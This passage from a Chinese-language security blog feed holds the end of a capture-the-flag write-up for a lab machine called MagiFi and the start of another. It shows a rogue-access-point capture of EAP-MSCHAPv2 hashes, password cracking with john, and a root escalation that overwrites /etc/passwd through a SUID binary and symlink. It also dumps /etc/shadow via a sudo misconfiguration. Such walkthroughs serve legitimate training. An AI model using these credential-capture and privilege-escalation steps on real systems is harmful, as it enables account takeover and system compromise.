wlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:41
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: Hogwarts\albus.dumbledore
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: Hogwarts\albus.dumbledore
MANA EAP EAP-MSCHAPV2 ASLEAP user=albus.dumbledore | asleap -C 44:4f:6d:dc:28:55:c3:8c -R 05:58:4f:62:63:a5:1e:1b:54:87:96:29:6a:3a:62:85:1d:86:b8:d8:c4:d3:c2:70
MANA EAP EAP-MSCHAPV2 JTR | albus.dumbledore:$NETNTLM$444f6ddc2855c38c$05584f6263a51e1b548796296a3a62851d86b8d8c4d3c270:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | albus.dumbledore::::05584f6263a51e1b548796296a3a62851d86b8d8c4d3c270:444f6ddc2855c38c
EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): 0e 21 42 cf 50 0c fa 6e fb 8d a1 8d d8 63 0b 69
wlan1: STA 64:32:a8:07:6c:40 IEEE 802.11: authenticated
wlan1: STA 64:32:a8:07:6c:43 IEEE 802.11: authenticated
wlan1: STA 64:32:a8:07:6c:43 IEEE 802.11: associated (aid 1)
wlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:43
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan1: STA 64:32:a8:07:6c:40 IEEE 802.11: associated (aid 2)
MANA EAP Identity Phase 0: Hogwarts\tom.riddle
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:40
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: Hogwarts\rubeus.hagrid
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: Hogwarts\tom.riddle
MANA EAP EAP-MSCHAPV2 ASLEAP user=tom.riddle | asleap -C 29:da:39:7f:92:3f:f3:cf -R 12:33:3f:27:9b:59:d0:71:7c:85:35:c5:73:ca:5b:32:c9:62:32:01:92:a0:22:76
MANA EAP EAP-MSCHAPV2 JTR | tom.riddle:$NETNTLM$29da397f923ff3cf$12333f279b59d0717c8535c573ca5b32c962320192a02276:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | tom.riddle::::12333f279b59d0717c8535c573ca5b32c962320192a02276:29da397f923ff3cf
EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): 46 eb 92 c2 3e 75 f9 46 3e be d0 1f 04 76 b3 1c
MANA EAP Identity Phase 1: Hogwarts\rubeus.hagrid
MANA EAP EAP-MSCHAPV2 ASLEAP user=rubeus.hagrid | asleap -C 19:af:04:38:b5:3a:d2:f5 -R d1:b3:15:89:62:4c:ec:35:5f:0e:2a:dc:7c:3b:6f:be:22:80:fc:f4:d5:25:cd:5f
MANA EAP EAP-MSCHAPV2 JTR | rubeus.hagrid:$NETNTLM$19af0438b53ad2f5$d1b31589624cec355f0e2adc7c3b6fbe2280fcf4d525cd5f:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | rubeus.hagrid::::d1b31589624cec355f0e2adc7c3b6fbe2280fcf4d525cd5f:19af0438b53ad2f5
EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): f4 16 05 b7 06 06 72 54 44 73 58 ba 18 74 69 c2
wlan1: STA 64:32:a8:07:6c:42 IEEE 802.11: authenticated
wlan1: STA 64:32:a8:07:6c:42 IEEE 802.11: associated (aid 1)
wlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:42
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: Hogwarts\minerva.mcgonagall
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: Hogwarts\minerva.mcgonagall
MANA EAP EAP-MSCHAPV2 ASLEAP user=minerva.mcgonagall | asleap -C 25:57:75:5c:ec:b3:f8:80 -R 0b:a6:ba:03:d2:dc:76:13:b6:e5:71:bc:1a:60:5d:a7:ff:46:7d:df:9f:93:45:83
MANA EAP EAP-MSCHAPV2 JTR | minerva.mcgonagall:$NETNTLM$2557755cecb3f880$0ba6ba03d2dc7613b6e571bc1a605da7ff467ddf9f934583:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | minerva.mcgonagall::::0ba6ba03d2dc7613b6e571bc1a605da7ff467ddf9f934583:2557755cecb3f880
EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): 91 10 e9 a6 f4 ac 73 15 d0 0b 3b ea 11 82 7b b2
wlan1: STA 64:32:a8:07:6c:43 IEEE 802.11: authenticated
wlan1: STA 64:32:a8:07:6c:43 IEEE 802.11: associated (aid 1)
wlan1: CTRL-EVENT-EAP-STARTED 64:32:a8:07:6c:43
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: Hogwarts\tom.riddle
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
MANA EAP Identity Phase 1: Hogwarts\tom.riddle
MANA EAP EAP-MSCHAPV2 ASLEAP user=tom.riddle | asleap -C cd:28:fa:20:e8:bc:be:2b -R 5a:4b:35:fb:9d:cc:e6:32:7c:d8:79:64:6d:5f:47:c1:db:cf:d9:99:31:a7:26:87
MANA EAP EAP-MSCHAPV2 JTR | tom.riddle:$NETNTLM$cd28fa20e8bcbe2b$5a4b35fb9dcce6327cd879646d5f47c1dbcfd99931a72687:::::::
MANA EAP EAP-MSCHAPV2 HASHCAT | tom.riddle::::5a4b35fb9dcce6327cd879646d5f47c1dbcfd99931a72687:cd28fa20e8bcbe2b
EAP-MSCHAPV2: Derived Master Key - hexdump(len=16): fb a5 56 4a 59 98 41 70 7b a1 d6 d4 89 67 ee ff
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 里面包含了四个用户： &lt;code&gt;tom.riddle&lt;/code&gt;, &lt;code&gt;rubeus.hagrid&lt;/code&gt;，&lt;code&gt;minerva.mcgonagall&lt;/code&gt;, &lt;code&gt;albus.dumbledore&lt;/code&gt;，尝试破译：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali㉿kali)-[~/temp/Magifi]
└─$ cat hash                                                   
albus.dumbledore::::05584f6263a51e1b548796296a3a62851d86b8d8c4d3c270:444f6ddc2855c38c
tom.riddle::::12333f279b59d0717c8535c573ca5b32c962320192a02276:29da397f923ff3cf
rubeus.hagrid::::d1b31589624cec355f0e2adc7c3b6fbe2280fcf4d525cd5f:19af0438b53ad2f5
minerva.mcgonagall::::0ba6ba03d2dc7613b6e571bc1a605da7ff467ddf9f934583:2557755cecb3f880
tom.riddle::::5a4b35fb9dcce6327cd879646d5f47c1dbcfd99931a72687:cd28fa20e8bcbe2b

┌──(kali㉿kali)-[~/temp/Magifi]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type &amp;quot;netntlm&amp;quot;, but the string is also recognized as &amp;quot;netntlm-naive&amp;quot;
Use the &amp;quot;--format=netntlm-naive&amp;quot; option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (netntlm, NTLMv1 C/R [MD4 DES (ESS MD5) 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status
blackhogwarts    (tom.riddle)     
blackhogwarts    (tom.riddle)     
2g 0:00:00:03 DONE (2025-06-22 09:30) 0.6134g/s 4399Kp/s 19087Kc/s 19087KC/s !!!dakkungnoy..*7¡Vamos!
Use the &amp;quot;--show --format=netntlm&amp;quot; options to display all of the cracked passwords reliably
Session completed. 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 其中只有用户&lt;code&gt;tom.riddle&lt;/code&gt;的密码可以破译出来，为&lt;code&gt;blackhogwarts&lt;/code&gt;，尝试进行登录：  &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Magifi-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;提权-root&lt;/h2&gt;
&lt;p&gt;进入机器后，我会寻找启用 &lt;code&gt;SUID&lt;/code&gt; 位的二进制文件：&lt;/p&gt;
&lt;p&gt;  收到&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;find / -perm -4000 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;  收到&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;harry_potter@MagiFi:~$ find / -perm -4000 2&amp;gt;/dev/null
/usr/bin/xxd_horcrux
/home/tom.riddle/.horcrux.png
harry_potter@MagiFi:~$
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;tom.riddle@MagiFi:~$ /usr/bin/xxd_horcrux
Usage:
       xxd [options] [infile [outfile]]
    or
       xxd -r [-s [-]offset] [-c cols] [-ps] [infile [outfile]]
Options:
    -a          toggle autoskip: A single &amp;#39;*&amp;#39; replaces nul-lines. Default off.
    -b          binary digit dump (incompatible with -ps,-i,-r). Default hex.
    -C          capitalize variable names in C include file style (-i).
    -c cols     format &amp;lt;cols&amp;gt; octets per line. Default 16 (-i: 12, -ps: 30).
    -E          show characters in EBCDIC. Default ASCII.
    -e          little-endian dump (incompatible with -ps,-i,-r).
    -g          number of octets per group in normal output. Default 2 (-e: 4).
    -h          print this summary.
    -i          output in C include file style.
    -l len      stop after &amp;lt;len&amp;gt; octets.
    -o off      add &amp;lt;off&amp;gt; to the displayed file position.
    -ps         output in postscript plain hexdump style.
    -r          reverse operation: convert (or patch) hexdump into binary.
    -r -s off   revert with &amp;lt;off&amp;gt; added to file positions found in hexdump.
    -s [+][-]seek  start at &amp;lt;seek&amp;gt; bytes abs. (or +: rel.) infile offset.
    -u          use upper case hex letters.
    -v          show version: &amp;quot;xxd V1.10 27oct98 by Juergen Weigert&amp;quot;.
    -O &amp;lt;file&amp;gt;   specify output file (only horcruxes are allowed).
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;显然 &lt;code&gt;-O&lt;/code&gt; 选项说我们只能留下一个叫“魂器”（或类似）的外文件，我们还看到另一个启用 suid 位的二进制文件叫&lt;code&gt;做 .horcrux.png&lt;/code&gt;。了解这一点后，我们可以利用 go 中带有 &lt;code&gt;xxd&lt;/code&gt; 的读取文件，具体如下：&lt;/p&gt;
&lt;p&gt; 首先我们将 &lt;code&gt;/etc/passwd&lt;/code&gt; 文件复制到当前目录：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cp /etc/passwd /tmp/root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，我们创建一个名为 &lt;code&gt;.horcrux.png&lt;/code&gt; with touch的文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;touch .horcrux.png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在我们将 &lt;code&gt;/etc/passwd&lt;/code&gt; 文件与 &lt;code&gt;.horcrux.png&lt;/code&gt; 文件进行符号链接，这样写入时实际上是在修改 &lt;code&gt;/etc/&lt;/code&gt; 文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ln -sf /etc/passwd /tmp/root/.horcrux.png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在我们修改复制的 &lt;code&gt;passwd&lt;/code&gt;，使其成为被覆盖在 &lt;code&gt;.horcrux.png&lt;/code&gt; 文件中的内容，正如我之前说的，这将修改 &lt;code&gt;/etc/passwd&lt;/code&gt; 文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sed &amp;#39;s/root:x:/root::/g&amp;#39; -i /tmp/root/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，我们利用 &lt;code&gt;xxd_horcrux&lt;/code&gt; 二进制文件，覆盖了 &lt;code&gt;/etc/passwd&lt;/code&gt; 文件，这样就能运行&lt;code&gt;并&lt;/code&gt;无密码扩展到 root：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cat /tmp/root/passwd | xxd | /bin/xxd_horcrux -r -O .horcrux.png
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;root@MagiFi:~# cat root_flag_as5df.txt 
hogwarts{5ed0818c0181fe97f744d7b1b51dd9c7}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;tom.riddle@MagiFi:~$ /usr/bin/xxd_horcrux -r /tmp/2bash.hex -O .horcrux.png
tom.riddle@MagiFi:~$ ls -la
total 48
drwxr-xr-x 3 tom.riddle tom.riddle  4096 Jun 22 15:14 .
drwxr-xr-x 7 root       root        4096 Sep 27  2024 ..
lrwxrwxrwx 1 root       root           9 Sep 27  2024 .bash_history -&amp;gt; /dev/null
-rw-r--r-- 1 tom.riddle tom.riddle   220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 tom.riddle tom.riddle  3771 Feb 25  2020 .bashrc
drwx------ 2 tom.riddle tom.riddle  4096 Feb  4 09:57 .cache
-rwsr-x--x 1 root       tom.riddle 17136 Jun 22 15:24 .horcrux.png
-rw-r--r-- 1 tom.riddle tom.riddle   807 Feb 25  2020 .profile
-rw------- 1 tom.riddle tom.riddle  1184 Jun 22 15:14 .viminfo
tom.riddle@MagiFi:~$ ./.horcrux.png 
bash: ./.horcrux.png: cannot execute binary file: Exec format error
tom.riddle@MagiFi:~$ /usr/bin/xxd_horcrux -r /tmp/2bash.hex -O .horcrux.png
tom.riddle@MagiFi:~$ ./.horcrux.png 
root@MagiFi:~# whoami;id
root
uid=0(root) gid=0(root) groups=0(root),1004(tom.riddle)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权-Bug1&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) harry_potter@MagiFi:/home/harry_potter/Hogwarts_web$ sudo -l
Matching Defaults entries for harry_potter on MagiFi:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User harry_potter may run the following commands on
        MagiFi:
    (root) NOPASSWD: /usr/sbin/aireplay-ng,
        /usr/sbin/airmon-ng, /usr/sbin/airodump-ng,
        /usr/bin/airdecap-ng, /usr/bin/hostapd-mana
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) harry_potter@MagiFi:/home/harry_potter/Hogwarts_web$ sudo /usr/bin/hostapd-mana -h
hostapd-mana v2.6
User space daemon for IEEE 802.11 AP management,
IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator
Copyright (c) 2002-2016, Jouni Malinen &amp;lt;j@w1.fi&amp;gt; and contributors
--------------------------------------------------
MANA https://github.com/sensepost/hostapd-mana
By @singe (dominic@sensepost.com)
Original MANA EAP by Ian (ian@sensepost.com)
Original karma patches by Robin Wood - robin@digininja.org
Original EAP patches by Brad Antoniewicz @brad_anton
Sycophant by Michael Kruger @_cablethief
usage: hostapd [-hdBKtv] [-P &amp;lt;PID file&amp;gt;] [-e &amp;lt;entropy file&amp;gt;] \
         [-g &amp;lt;global ctrl_iface&amp;gt;] [-G &amp;lt;group&amp;gt;]\
         [-i &amp;lt;comma-separated list of interface names&amp;gt;]\
         &amp;lt;configuration file(s)&amp;gt;

options:
   -h   show this usage
   -d   show more debug messages (-dd for even more)
   -B   run daemon in the background
   -e   entropy file
   -g   global control interface path
   -G   group for control interfaces
   -P   PID file
   -K   include key data in debug messages
   -i   list of interface names to use
   -S   start all the interfaces synchronously
   -t   include timestamps in some debug messages
   -v   show hostapd version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重点在于-d   show more debug messages (-dd for even more)&lt;/p&gt;
&lt;p&gt;所以可以用来读取文件&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Failed to initialize interface
(remote) harry_potter@MagiFi:/home/harry_potter/Hogwarts_web$ sudo /usr/bin/hostapd-mana /etc/shadow
Configuration file: /etc/shadow
Line 1: invalid line &amp;#39;root:$6$KflwZsO6c4DW8laq$AVs2hfT9i1calD.V6aKIr5Wej26J1tjgSz5R674SSJDuWvX1RWqHYw79Q.OIqeIlhl0ksI7UJ7d0YHJp4F.J81:19993:0:99999:7:::&amp;#39;
Line 2: invalid line &amp;#39;daemon:*:19430:0:99999:7:::&amp;#39;
Line 3: invalid line &amp;#39;bin:*:19430:0:99999:7:::&amp;#39;
Line 4: invalid line &amp;#39;sys:*:19430:0:99999:7:::&amp;#39;
Line 5: invalid line &amp;#39;sync:*:19430:0:99999:7:::&amp;#39;
Line 6: invalid line &amp;#39;games:*:19430:0:99999:7:::&amp;#39;
Line 7: invalid line &amp;#39;man:*:19430:0:99999:7:::&amp;#39;
Line 8: invalid line &amp;#39;lp:*:19430:0:99999:7:::&amp;#39;
Line 9: invalid line &amp;#39;mail:*:19430:0:99999:7:::&amp;#39;
Line 10: invalid line &amp;#39;news:*:19430:0:99999:7:::&amp;#39;
Line 11: invalid line &amp;#39;uucp:*:19430:0:99999:7:::&amp;#39;
Line 12: invalid line &amp;#39;proxy:*:19430:0:99999:7:::&amp;#39;
Line 13: invalid line &amp;#39;www-data:*:19430:0:99999:7:::&amp;#39;
Line 14: invalid line &amp;#39;backup:*:19430:0:99999:7:::&amp;#39;
Line 15: invalid line &amp;#39;list:*:19430:0:99999:7:::&amp;#39;
Line 16: invalid line &amp;#39;irc:*:19430:0:99999:7:::&amp;#39;
Line 17: invalid line &amp;#39;gnats:*:19430:0:99999:7:::&amp;#39;
Line 18: invalid line &amp;#39;nobody:*:19430:0:99999:7:::&amp;#39;
Line 19: invalid line &amp;#39;systemd-network:*:19430:0:99999:7:::&amp;#39;
Line 20: invalid line &amp;#39;systemd-resolve:*:19430:0:99999:7:::&amp;#39;
Line 21: invalid line &amp;#39;systemd-timesync:*:19430:0:99999:7:::&amp;#39;
Line 22: invalid line &amp;#39;messagebus:*:19430:0:99999:7:::&amp;#39;
Line 23: invalid line &amp;#39;syslog:*:19430:0:99999:7:::&amp;#39;
Line 24: invalid line &amp;#39;_apt:*:19430:0:99999:7:::&amp;#39;
Line 25: invalid line &amp;#39;tss:*:19430:0:99999:7:::&amp;#39;
Line 26: invalid line &amp;#39;uuidd:*:19430:0:99999:7:::&amp;#39;
Line 27: invalid line &amp;#39;tcpdump:*:19430:0:99999:7:::&amp;#39;
Line 28: invalid line &amp;#39;landscape:*:19430:0:99999:7:::&amp;#39;
Line 29: invalid line &amp;#39;pollinate:*:19430:0:99999:7:::&amp;#39;
Line 30: invalid line &amp;#39;fwupd-refresh:*:19430:0:99999:7:::&amp;#39;
Line 31: invalid line &amp;#39;usbmux:*:19991:0:99999:7:::&amp;#39;
Line 32: invalid line &amp;#39;sshd:*:19991:0:99999:7:::&amp;#39;
Line 33: invalid line &amp;#39;systemd-coredump:!!:19991::::::&amp;#39;
Line 34: invalid line &amp;#39;lxd:!:19991::::::&amp;#39;
Line 35: invalid line &amp;#39;freerad:*:19991:0:99999:7:::&amp;#39;
Line 36: invalid line &amp;#39;rubeus.hagrid:!:19991:0:99999:7:::&amp;#39;
Line 37: invalid line &amp;#39;albus.dumbledore:!:19991:0:99999:7:::&amp;#39;
Line 38: invalid line &amp;#39;minerva.mcgonagall:!:19991:0:99999:7:::&amp;#39;
Line 39: invalid line &amp;#39;tom.riddle:$6$l2y72YLXF2tIL.rC$d3SQEKFlGu9wi/omLDmHJYGP3uRSD9t2hnRTqveIMOHG8pa80Ku81d3kbfXZy0bpC2PRp9xLqE7IQi3EQ4bf1/:19991:0:99999:7:::&amp;#39;
Line 40: invalid line &amp;#39;harry_potter:$6$Cu5tGqfYYF/NWp6f$bLb5lfce4bMH10OYBG27nYBoMTMciI9NOxIR2XGliWIhzHE2iU0kS1ZKuSNPnYRS/y12jnt4jmr8pMfDsRicK1:19993:0:99999:7:::&amp;#39;
40 errors found in configuration file &amp;#39;/etc/shadow&amp;#39;
Failed to set up interface with /etc/shadow
Failed to initialize interface
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原本可以直接读/root/root.txt 作者修复了，将root.txt更改命名格式&lt;/p&gt;
&lt;h1&gt;提权-Bug2&lt;/h1&gt;
&lt;p&gt;已修复-运行该程序先校验用户名&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/magifi/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/magifi/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sun, 25 Jan 2026 00:00:00 GMT</pubDate></item><item><title>MazeSec-Happiness</title><link>https://heathc1iff-sec.github.io/blog/qq-group/happiness/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/qq-group/happiness/</guid><description>QQ Group Virtual Machine</description><content:encoded>&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;rustscan扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# rustscan -a 192.168.0.106 -- -A           
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-&amp;#39; `-&amp;#39;`-----&amp;#39;`----&amp;#39;  `-&amp;#39;  `----&amp;#39;  `---&amp;#39; `-&amp;#39;  `-&amp;#39;`-&amp;#39; `-&amp;#39;
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at &amp;quot;/root/.rustscan.toml&amp;quot;
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan&amp;#39;s speed. Use the Docker image, or up the Ulimit with &amp;#39;--ulimit 5000&amp;#39;. 
Open 192.168.0.106:53
Open 192.168.0.106:80
Open 192.168.0.106:21
Open 192.168.0.106:22
[~] Starting Script(s)
[&amp;gt;] Running script &amp;quot;nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A&amp;quot; on ip 192.168.0.106
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-24 01:28 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
Initiating ARP Ping Scan at 01:28
Scanning 192.168.0.106 [1 port]
Completed ARP Ping Scan at 01:28, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:28
Completed Parallel DNS resolution of 1 host. at 01:28, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 01:28
Scanning 192.168.0.106 [4 ports]
Discovered open port 21/tcp on 192.168.0.106
Discovered open port 80/tcp on 192.168.0.106
Discovered open port 22/tcp on 192.168.0.106

PORT   STATE  SERVICE REASON         VERSION
21/tcp open   ftp     syn-ack ttl 64 vsftpd 2.0.8 or later
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.0.108
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r--    1 0        0              20 Jan 22 12:27 readme.txt
22/tcp open   ssh     syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk=
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE=
|   256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1
53/tcp closed domain  reset ttl 64
80/tcp open   http    syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Site doesn&amp;#39;t have a title (text/html).
MAC Address: 08:00:27:BF:9E:C8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/24%OT=21%CT=53%CU=43047%PV=Y%DS=1%DC=D%G=Y%M=0800
OS:27%TM=6974669D%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=105%TI=Z%CI=Z%
OS:II=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11N
OS:W7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE8
OS:8%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40
OS:%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=
OS:%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%
OS:W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=
OS:)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%
OS:DFI=N%T=40%CD=S)

Uptime guess: 43.869 days (since Thu Dec 11 04:37:52 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.30 ms 192.168.0.106

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 01:28
Completed NSE at 01:28, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.31 seconds
           Raw packets sent: 27 (1.982KB) | Rcvd: 19 (1.450KB)

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;目录扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
